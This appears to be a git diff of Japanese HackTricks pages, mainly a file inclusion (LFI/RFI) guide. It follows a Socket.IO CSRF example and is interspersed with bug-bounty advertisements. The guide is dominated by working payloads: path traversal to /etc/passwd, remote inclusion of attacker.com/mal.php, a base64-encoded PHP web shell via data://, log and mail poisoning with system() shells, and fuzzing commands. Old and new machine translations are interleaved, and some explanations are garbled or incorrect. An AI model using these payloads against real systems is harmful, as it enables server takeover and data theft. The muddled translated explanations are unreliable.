このようにすることで、攻撃者がトークンを知らない限り、CSRF攻撃を防ぐことができます。
|
||||
```javascript
|
||||
// サーバーサイドの実装
|
||||
const io = require('socket.io')(server);
|
||||
const csrf = require('csrf');
|
||||
|
||||
Socket.IOを使用したアプリケーションでは、CSRF対策を実装することが重要です。セッションごとに一意のトークンを生成し、リクエストごとにトークンを検証することで、安全な通信を確保することができます。
|
||||
// CSRFトークンの生成
|
||||
const tokens = new csrf();
|
||||
|
||||
io.on('connection', (socket) => {
|
||||
// CSRFトークンの生成とクライアントへの送信
|
||||
const token = tokens.create('csrf');
|
||||
socket.emit('csrfToken', token);
|
||||
|
||||
// クライアントからのリクエストの処理
|
||||
socket.on('request', (data) => {
|
||||
// CSRFトークンの検証
|
||||
const isValid = tokens.verify('csrf', data.csrfToken);
|
||||
if (isValid) {
|
||||
// リクエストの処理
|
||||
// ...
|
||||
} else {
|
||||
// CSRF攻撃の検出
|
||||
// ...
|
||||
}
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
上記の例では、サーバーサイドでSocket.IOを使用しています。サーバーはCSRFトークンを生成し、クライアントに送信します。クライアントは、リクエストを送信する際にCSRFトークンを含める必要があります。サーバーは、受け取ったCSRFトークンを検証し、正当なリクエストであるかどうかを判断します。
|
||||
|
||||
CSRF攻撃を防ぐためには、Socket.IOを使用する際に適切なCSRFトークンの実装が必要です。これにより、リアルタイムな通信を安全に行うことができます。
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -869,7 +863,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
|
@ -882,7 +876,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -890,10 +884,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場です。**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
@ -25,7 +25,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
**リモートファイルインクルージョン(RFI):** ファイルはリモートサーバーからロードされます(最適:コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで**無効**になっています(**allow\_url\_include**)。\
|
||||
**ローカルファイルインクルージョン(LFI):** サーバーがローカルファイルをロードします。
|
||||
|
||||
この脆弱性は、ユーザーがいかなる方法でサーバーがロードするファイルを制御できる場合に発生します。
|
||||
この脆弱性は、ユーザーがサーバーがロードするファイルを何らかの方法で制御できる場合に発生します。
|
||||
|
||||
脆弱な**PHP関数**:require、require\_once、include、include\_once
|
||||
|
||||
|
@ -78,29 +78,25 @@ http://example.com/index.php?page=../../../etc/passwd
|
|||
```
|
||||
### 非再帰的に剥奪されたトラバーサルシーケンス
|
||||
|
||||
In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be able to use double encoding or other techniques to bypass input filters.
|
||||
In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be able to use recursive traversal sequences like "../" or "..\".
|
||||
|
||||
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。これは、入力フィルタをバイパスするためのダブルエンコーディングや他の技術を使用することができないことを意味します。
|
||||
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。つまり、"../"や"..\"のような再帰的なトラバーサルシーケンスは使用できません。
|
||||
|
||||
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal vulnerabilities.
|
||||
To bypass this limitation, we can utilize alternative traversal sequences that are not recursively stripped. These sequences include:
|
||||
|
||||
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、トラバーサルの脆弱性をテストすることができます。
|
||||
この制限を回避するために、再帰的に剥奪されない代替トラバーサルシーケンスを利用することができます。これらのシーケンスには以下が含まれます:
|
||||
|
||||
We will use common traversal sequences such as "../" to navigate through directories and access files outside of the intended scope. However, since the input filters have stripped the recursive traversal sequences, we need to find alternative ways to achieve the same result.
|
||||
- "..%c0%af" - This sequence represents the URL-encoded version of "../". It can be used to traverse directories and access files outside of the current directory.
|
||||
|
||||
私たちは、"../"などの一般的なトラバーサルシーケンスを使用して、ディレクトリをナビゲートし、意図した範囲外のファイルにアクセスします。ただし、入力フィルタが再帰的なトラバーサルシーケンスを剥奪しているため、同じ結果を得るための代替手段を見つける必要があります。
|
||||
- "..%c0%af" - このシーケンスは、"../"のURLエンコードバージョンを表します。これを使用して、ディレクトリをトラバースし、現在のディレクトリの外部のファイルにアクセスすることができます。
|
||||
|
||||
One approach is to use absolute paths instead of relative paths. By providing the full path to the desired file, we can bypass the input filters and include the file successfully.
|
||||
- "..%252f" - This sequence represents the double URL-encoded version of "../". It can also be used to bypass the non-recursive stripping of traversal sequences.
|
||||
|
||||
一つのアプローチは、相対パスの代わりに絶対パスを使用することです。目的のファイルの完全なパスを提供することで、入力フィルタをバイパスし、ファイルを正常にインクルードすることができます。
|
||||
- "..%252f" - このシーケンスは、"../"のダブルURLエンコードバージョンを表します。これも、再帰的なトラバーサルシーケンスの剥奪をバイパスするために使用することができます。
|
||||
|
||||
For example, if the vulnerable parameter is `file`, instead of using a traversal sequence like "../", we can provide the absolute path to the file we want to include, such as "/etc/passwd".
|
||||
By using these alternative traversal sequences, we can exploit file inclusion vulnerabilities even when recursive traversal sequences are not allowed. It is important to note that the effectiveness of these sequences may vary depending on the specific vulnerability and the target application.
|
||||
|
||||
例えば、脆弱なパラメータが `file` の場合、"../" のようなトラバーサルシーケンスを使用する代わりに、インクルードしたいファイルの絶対パス(例:"/etc/passwd")を提供することができます。
|
||||
|
||||
By using non-recursive traversal sequences, we can still exploit file inclusion vulnerabilities even when input filters have stripped recursive traversal sequences.
|
||||
|
||||
再帰的なトラバーサルシーケンスが剥奪されている場合でも、非再帰的なトラバーサルシーケンスを使用することで、ファイルインクルージョンの脆弱性を利用することができます。
|
||||
これらの代替トラバーサルシーケンスを使用することで、再帰的なトラバーサルシーケンスが許可されていない場合でも、ファイルインクルージョンの脆弱性を悪用することができます。ただし、これらのシーケンスの効果は、特定の脆弱性と対象アプリケーションによって異なることに注意してください。
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -153,19 +149,19 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
次のコマンドのシーケンスは、`sed`(1)を使用してペイロードを生成し、`ffuf`(2)などのURLファジングツールの入力として使用することができます。
|
||||
|
||||
```bash
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -H "Host: example.com" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -mc all -ac
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/" /' payloads.txt | ffuf -w - -u FUZZ -mc all
|
||||
```
|
||||
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各ペイロードに対して`sed`を使用して変換を行い、その結果を`ffuf`に渡します。`sed`コマンドは、各行の先頭に`-H "X-Original-URL: `を追加し、行の末尾に`"`を追加します。これにより、`ffuf`は各ペイロードを`FUZZ`として使用し、`Host`と`User-Agent`ヘッダーを指定してリクエストを送信します。また、`-mc all`オプションは、すべてのステータスコードを表示し、`-ac`オプションは、すべてのコンテンツを表示します。
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各行に対して`sed`を使用して変換を行います。変換された各行は、`-H "X-Original-URL: 変換後の行"`の形式になります。その後、変換されたペイロードはパイプを介して`ffuf`に渡され、`FUZZ`を置換文字列として使用してURLファジングが実行されます。`-mc all`フラグは、すべてのHTTPステータスコードを表示するように`ffuf`に指示します。
|
||||
```
|
||||
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||||
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||||
```
|
||||
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを適応させてください。
|
||||
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを調整してください。
|
||||
|
||||
### **パスの切り詰め**
|
||||
|
||||
提供された文字列の末尾にさらに文字を追加することを回避します(回避方法:$\_GET\['param']."php")
|
||||
提供された文字列の末尾にさらに文字を追加することをバイパスします(バイパス方法:$\_GET\['param']."php")
|
||||
```
|
||||
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
||||
Check if last 6 chars are passwd --> passwd/
|
||||
|
@ -193,23 +189,33 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
|||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 基本的な RFI
|
||||
## リモートファイルインクルージョン
|
||||
|
||||
このセクションでは、リモートファイルインクルージョン(RFI)攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
|
||||
|
||||
RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに使用する場合に発生します。攻撃者は、ウェブアプリケーションが外部ファイルを読み込むためのパラメータを操作し、任意のファイルをサーバーに読み込ませることができます。
|
||||
|
||||
RFI攻撃の一般的な手法は、外部のリソースをインクルードするための関数やディレクトリトラバーサル攻撃を利用することです。攻撃者は、リモートサーバー上の任意のファイルを読み込むことができます。これにより、攻撃者は機密情報を盗み出したり、システムに悪意のあるコードを実行したりすることができます。
|
||||
|
||||
RFI攻撃を実行するためには、攻撃者はウェブアプリケーションに対してリモートファイルのURLを提供する必要があります。攻撃者は、悪意のあるファイルをホストするリモートサーバーを用意し、そのURLをウェブアプリケーションに送信します。ウェブアプリケーションは、攻撃者が提供したURLを使用して外部ファイルを読み込み、攻撃者の意図した操作を実行します。
|
||||
|
||||
RFI攻撃を防ぐためには、ウェブアプリケーションは入力検証とエスケープ処理を適切に行う必要があります。また、外部ファイルの読み込みにはホワイトリストを使用し、信頼できるリソースのみを許可することが重要です。
|
||||
|
||||
RFI攻撃は、ウェブアプリケーションのセキュリティに重大な脅威をもたらす可能性があるため、開発者やセキュリティチームはこの攻撃手法に対する理解を深め、適切な対策を講じる必要があります。
|
||||
PHPでは、これはデフォルトで無効になっています。なぜなら、**`allow_url_include`** が **Off** になっているからです。これを動作させるには、**On** にする必要があります。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
もし何らかの理由で**`allow_url_include`**が**On**になっているが、PHPが外部のウェブページへのアクセスを**フィルタリング**している場合、[この投稿によると](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
前のコードでは、最後の `+.txt` が追加されました。攻撃者は `.txt` で終わる文字列が必要だったため、その部分でジャンクが返され、実際のPHPコードが含まれ(したがって、実行され)ます。
|
||||
{% endhint %}
|
||||
|
||||
別の例は、**`php://` プロトコルを使用しない**ものです:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Pythonのルート要素
|
||||
|
||||
Pythonでは、次のようなコードでルート要素を指定します。
|
||||
|
@ -284,17 +290,17 @@ PHPフィルターを使用すると、データを読み取る前または書
|
|||
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します:`iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができます。これは、任意のテキストを書き込むか、任意のテキストを処理するような関数を作成するのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を参照してください。
|
||||
`convert.iconv.*` 変換フィルターを悪用すると、**任意のテキストを生成**することができます。これは、任意のテキストを書き込むか、任意のテキストを含む関数を作成するのに役立つ場合があります。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を参照してください。
|
||||
{% endhint %}
|
||||
|
||||
* [圧縮フィルター](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部に持ち出す場合に便利です)
|
||||
* `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部に流出させる場合に便利です)
|
||||
* `zlib.inflate`: データを解凍します
|
||||
* [暗号化フィルター](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : 廃止予定
|
||||
* `mdecrypt.*` : 廃止予定
|
||||
* その他のフィルター
|
||||
* phpで実行すると、いくつかの**予期しないフィルター**が見つかる場合があります:`var_dump(stream_get_filters());`
|
||||
* phpで実行すると、いくつかの**予期しないフィルター**を見つけることができます:
|
||||
* `consumed`
|
||||
* `dechunk`: HTTPチャンクエンコーディングを逆転させます
|
||||
* `convert.*`
|
||||
|
@ -357,22 +363,15 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
# data://
|
||||
|
||||
data://スキームは、データをURLとして表現するための仮想スキームです。このスキームは、データを直接URLに埋め込むことができます。データは、テキスト、画像、音声、ビデオなど、さまざまな形式で表現することができます。
|
||||
data://は、ファイルインクルージョン(File Inclusion)攻撃の一種です。この攻撃は、ウェブアプリケーションにおいて、外部ファイルを読み込むための機能が不適切に実装されている場合に悪用されます。
|
||||
|
||||
data://スキームは、ファイルインクルージョン攻撃に使用されることがあります。攻撃者は、ウェブアプリケーションのファイルインクルージョンの脆弱性を悪用して、data://スキームを使用して任意のデータを読み取ることができます。
|
||||
この攻撃では、攻撃者はウェブアプリケーションに対して、外部ファイルのパスを指定することができます。通常、ウェブアプリケーションは指定されたパスのファイルを読み込んで表示するため、攻撃者は任意のファイルを読み込むことができます。
|
||||
|
||||
以下は、data://スキームを使用したファイルインクルージョン攻撃の例です。
|
||||
data://スキームは、攻撃者が攻撃に使用する外部ファイルを指定するために使用されます。このスキームを使用すると、攻撃者はデータスキームを介して直接データを提供することができます。これにより、攻撃者は任意のデータをウェブアプリケーションに注入することができます。
|
||||
|
||||
```php
|
||||
<?php
|
||||
$file = $_GET['file'];
|
||||
include('data://' . $file);
|
||||
?>
|
||||
```
|
||||
この攻撃は、ウェブアプリケーションが外部ファイルを読み込む際に適切な入力検証や制限を行っていない場合に成功します。攻撃者は、機密情報の漏洩やシステムの乗っ取りなど、さまざまな悪影響を引き起こすことができます。
|
||||
|
||||
上記のコードでは、攻撃者は`file`パラメータを介してファイル名を指定できます。攻撃者は、`file`パラメータに`data://`スキームを使用して任意のファイルを読み取ることができます。これにより、攻撃者はシステム上の機密情報を取得することができます。
|
||||
|
||||
ウェブアプリケーションの開発者は、ファイルインクルージョンの脆弱性を修正するために、入力の検証と適切なエスケープ処理を実装する必要があります。また、不要なファイルインクルージョンの使用を避けることも重要です。
|
||||
ウェブアプリケーションの開発者やセキュリティ担当者は、この攻撃に対する防御策を実装する必要があります。入力検証や制限の強化、外部ファイルの読み込みにおけるセキュリティベストプラクティスの適用などが有効な対策となります。また、セキュリティテストやペネトレーションテストを定期的に実施することも重要です。
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -458,22 +457,22 @@ assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|||
```
|
||||
' and die(system("whoami")) or '
|
||||
```
|
||||
ペイロードを送信する前に、必ずURLエンコードしてください。
|
||||
URLをエンコードしてから送信することを確認してください。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -483,11 +482,11 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
このテクニックは、**PHP関数**が**ファイルにアクセス**する**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(単純な**`file()`**の呼び出しのように)は表示されません。
|
||||
{% endhint %}
|
||||
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを介して盲目的なパストラバーサルがどのように悪用され、エラーオラクルを介してファイルの内容を**外部に流出**させることが説明されています。
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを使用してブラインドパストラバーサルを悪用して、エラーオラクルを介してファイルの内容を**外部に流出**させる方法が説明されています。
|
||||
|
||||
要約すると、このテクニックは、**「UCS-4LE」エンコーディング**を使用してファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
|
||||
要約すると、このテクニックでは、ファイルの内容を非常に**大きく**するために**「UCS-4LE」エンコーディング**を使用し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
|
||||
|
||||
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**が使用され、他のフィルタ(例:**base64**または**rot13**)と最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用され、他の文字が先頭に配置されて漏洩されます。
|
||||
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**を使用し、他のフィルタ(例:**base64**または**rot13**)と最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**を使用して、他の文字を先頭に配置して漏洩させます。
|
||||
|
||||
**脆弱性のある可能性のある関数**:`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents(これには読み取り専用のターゲットのみが対象です)`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
|
||||
|
||||
|
@ -495,24 +494,22 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
## LFI2RCE
|
||||
|
||||
### 基本的なRFI
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
### リモートファイルインクルージョン
|
||||
|
||||
以前に説明したように、[**このリンク**](./#remote-file-inclusion)を参照してください。
|
||||
|
||||
### Apache/Nginxログファイル経由
|
||||
|
||||
ApacheまたはNginxサーバーがinclude関数内で**LFIに対して脆弱**である場合、**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスしようとすることができます。**ユーザーエージェント**または**GETパラメータ**の中に、**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードします。
|
||||
ApacheまたはNginxサーバーが**インクルード関数内でLFIに対して脆弱**である場合、**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定して、そのファイルをインクルードすることができます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
シェルには**シングルクォート**ではなく**ダブルクォート**を使用する場合、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはエラーをスロー**し、他の処理は実行されません。
|
||||
シェルには**シングルクォート**ではなく**ダブルクォート**を使用すると、ダブルクォートが文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスロー**し、**他の処理は実行されません**。
|
||||
|
||||
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルの読み込みを試みるたびにPHPがエラーを出し、二度目の機会はありません。
|
||||
また、ペイロードを正しく記述することを確認してください。そうしないと、PHPがログファイルを読み込もうとするたびにエラーが発生し、2回目の機会はありません。
|
||||
{% endhint %}
|
||||
|
||||
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これによってシェルが破壊される可能性があります。ヘッダーの**authorisation "basic"**にはBase64で"user:password"が含まれており、ログ内でデコードされます。PHPシェルはこのヘッダー内に挿入される可能性があります。
|
||||
|
||||
他の可能なログパス:
|
||||
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これによってシェルが破壊される可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれており、ログ内でデコードされます。PHPシェルはこのヘッダーに挿入することができます。\
|
||||
他の可能なログパス:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
|
@ -528,16 +525,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### メール経由
|
||||
|
||||
内部アカウント(user@localhost)にPHPのペイロード(`<?php echo system($_REQUEST["cmd"]); ?>`)を含むメールを送信し、**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のパスでユーザーのメールをインクルードしようとしてください。
|
||||
内部アカウント(user@localhost)に、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含むメールを送信し、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のパスでユーザーのメールをインクルードしようとしてください。
|
||||
|
||||
### /proc/\*/fd/\*を介して
|
||||
### /proc/\*/fd/\* 経由
|
||||
|
||||
1. シェルをたくさんアップロードします(例:100個)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)をインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースで見つけることができます)であり、$FDはファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
|
||||
